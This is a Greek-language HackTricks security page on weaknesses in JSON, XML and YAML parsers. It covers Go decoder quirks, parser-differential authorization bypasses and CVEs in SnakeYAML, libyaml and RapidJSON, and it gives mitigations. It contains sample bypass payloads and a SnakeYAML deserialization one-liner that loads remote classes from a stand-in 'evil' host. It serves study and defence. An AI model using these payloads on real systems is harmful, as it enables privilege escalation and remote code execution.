JSON, XML & Yaml Hacking & Issues
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Go JSON Decoder
Οι παρακάτω προβλήματα ανιχνεύθηκαν στο Go JSON αν και θα μπορούσαν να είναι παρόντα και σε άλλες γλώσσες. Αυτά τα προβλήματα δημοσιεύθηκαν σε αυτή την ανάρτηση στο blog.
Οι αναλυτές JSON, XML και YAML του Go έχουν μια μακρά πορεία ασυνεπειών και ανασφαλών προεπιλογών που μπορούν να εκμεταλλευτούν για να παρακάμψουν την αυθεντικοποίηση, κλιμακώσουν προνόμια ή εξάγουν ευαίσθητα δεδομένα.
(Un)Marshaling Unexpected Data
Ο στόχος είναι να εκμεταλλευτεί δομές που επιτρέπουν σε έναν επιτιθέμενο να διαβάσει/γράψει ευαίσθητα πεδία (π.χ., IsAdmin
, Password
).
- Παράδειγμα Δομής:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Κοινές Ευπάθειες
- Απουσία ετικέτας (χωρίς ετικέτα = το πεδίο αναλύεται ακόμα από προεπιλογή):
type User struct {
Username string
}
Πληροφορία:
{"Username": "admin"}
- Λάθος χρήση του
-
:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Πληροφορία:
{"-": true}
✔️ Σωστός τρόπος για να αποκλείσετε το πεδίο από το να (απο)μαρσαριστεί:
type User struct {
IsAdmin bool `json:"-"`
}
Διαφορές Αναλυτών
Ο στόχος είναι να παρακαμφθεί η εξουσιοδότηση εκμεταλλευόμενοι το πώς διαφορετικοί αναλυτές ερμηνεύουν το ίδιο φορτίο διαφορετικά όπως σε:
- CVE-2017-12635: Παράκαμψη Apache CouchDB μέσω διπλών κλειδιών
- 2022: Zoom 0-click RCE μέσω ασυνέπειας αναλυτή XML
- GitLab 2025 SAML παράκαμψη μέσω ιδιαιτεροτήτων XML
1. Διπλά Πεδία:
Ο encoding/json
του Go παίρνει το τελευταίο πεδίο.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Άλλοι αναλυτές (π.χ., Jackson της Java) μπορεί να πάρουν το πρώτο.
2. Αδιαφορία Περί Περίπτωσης: Το Go είναι αδιάφορο ως προς την περίπτωση:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Ακόμα και τα κόλπα Unicode λειτουργούν:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Διαφορετικότητα διασύνδεσης υπηρεσιών: Φανταστείτε:
- Proxy γραμμένο σε Go
- Υπηρεσία AuthZ γραμμένη σε Python
Ο επιτιθέμενος στέλνει:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python βλέπει το
UserAction
, το επιτρέπει - Go βλέπει το
AdminAction
, το εκτελεί
Σύγχυση Μορφής Δεδομένων (Polyglots)
Ο στόχος είναι να εκμεταλλευτούμε συστήματα που αναμειγνύουν μορφές (JSON/XML/YAML) ή αποτυγχάνουν να κλείσουν σε σφάλματα αναλυτή όπως:
- CVE-2020-16250: Το HashiCorp Vault ανέλυσε JSON με έναν αναλυτή XML μετά την επιστροφή JSON από το STS αντί για XML.
Ο επιτιθέμενος ελέγχει:
- Την κεφαλίδα
Accept: application/json
- Μερικό έλεγχο του σώματος JSON
Ο αναλυτής XML του Go το ανέλυσε οπωσδήποτε και εμπιστεύτηκε την εισαγόμενη ταυτότητα.
- Δημιουργημένο payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
- Go JSON parser:
Action_2
(case-insensitive + last wins) - YAML parser:
Action_1
(case-sensitive) - XML parser: parses
"Action_3"
inside the string
Σημαντικές Ευπάθειες Παρσέρ (2023-2025)
Τα παρακάτω δημόσια εκμεταλλεύσιμα ζητήματα δείχνουν ότι η ανασφαλής παρσάρισμα είναι ένα πρόβλημα πολλών γλωσσών — όχι μόνο πρόβλημα του Go.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Αφορά:
org.yaml:snakeyaml
< 2.0 (χρησιμοποιείται από Spring-Boot, Jenkins, κ.λπ.). - Αιτία:
new Constructor()
αποσυναρμολογεί τυχαίες κλάσεις Java, επιτρέποντας αλυσίδες gadget που καταλήγουν σε εκτέλεση απομακρυσμένου κώδικα. - One-liner PoC (θα ανοίξει την αριθμομηχανή στον ευάλωτο υπολογιστή):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Διόρθωση / Μετριασμός:
- Αναβάθμιση σε ≥2.0 (χρησιμοποιεί
SafeLoader
από προεπιλογή). - Σε παλαιότερες εκδόσεις, χρησιμοποιήστε ρητά
new Yaml(new SafeConstructor())
.
libyaml Double-Free (CVE-2024-35325)
- Επηρεάζει:
libyaml
≤0.2.5 (C βιβλιοθήκη που χρησιμοποιείται από πολλές γλώσσες). - Ζήτημα: Η κλήση
yaml_event_delete()
δύο φορές οδηγεί σε διπλή απελευθέρωση που οι επιτιθέμενοι μπορούν να μετατρέψουν σε DoS ή, σε ορισμένα σενάρια, εκμετάλλευση σωρού. - Κατάσταση: Ο upstream το απέρριψε ως “κακή χρήση API”, αλλά οι διανομές Linux παρέδωσαν διορθωμένη έκδοση 0.2.6 που μηδενίζει τον δείκτη αμυντικά.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Επηρεάζει: Tencent RapidJSON πριν την δέσμευση
8269bc2
(<1.1.0-patch-22). - Σφάλμα: Στη μέθοδο
GenericReader::ParseNumber()
η μη ελεγχόμενη αριθμητική επιτρέπει στους επιτιθέμενους να δημιουργήσουν τεράστιες αριθμητικές λεκτικές που περιτυλίγονται και διαφθείρουν τον σωρό — τελικά επιτρέποντας την κλιμάκωση προνομίων όταν το προκύπτον αντικείμενο χρησιμοποιείται για αποφάσεις εξουσιοδότησης.
🔐 Μετριασμοί (Ενημερωμένο)
Κίνδυνος | Διόρθωση / Σύσταση |
---|---|
Άγνωστα πεδία (JSON) | decoder.DisallowUnknownFields() |
Διπλά πεδία (JSON) | ❌ Καμία διόρθωση στη stdlib — επικυρώστε με jsoncheck |
Αντιστοίχιση χωρίς διάκριση πεζών-κεφαλαίων (Go) | ❌ Καμία διόρθωση — επικυρώστε τις ετικέτες δομής + προ-κανονικοποιήστε την είσοδο |
XML σκουπίδια δεδομένα / XXE | Χρησιμοποιήστε έναν σκληρυμένο αναλυτή (encoding/xml + DisallowDTD ) |
YAML άγνωστα κλειδιά | yaml.KnownFields(true) |
Μη ασφαλής αποσυμπίεση YAML | Χρησιμοποιήστε SafeConstructor / αναβαθμίστε σε SnakeYAML ≥2.0 |
libyaml ≤0.2.5 διπλή απελευθέρωση | Αναβαθμίστε σε 0.2.6 ή σε έκδοση με διορθώσεις διανομής |
RapidJSON <διορθωμένη δέσμευση | Συγκεντρώστε κατά την τελευταία RapidJSON (≥Ιούλιος 2024) |
Αναφορές
- Baeldung – “Επίλυση CVE-2022-1471 με SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.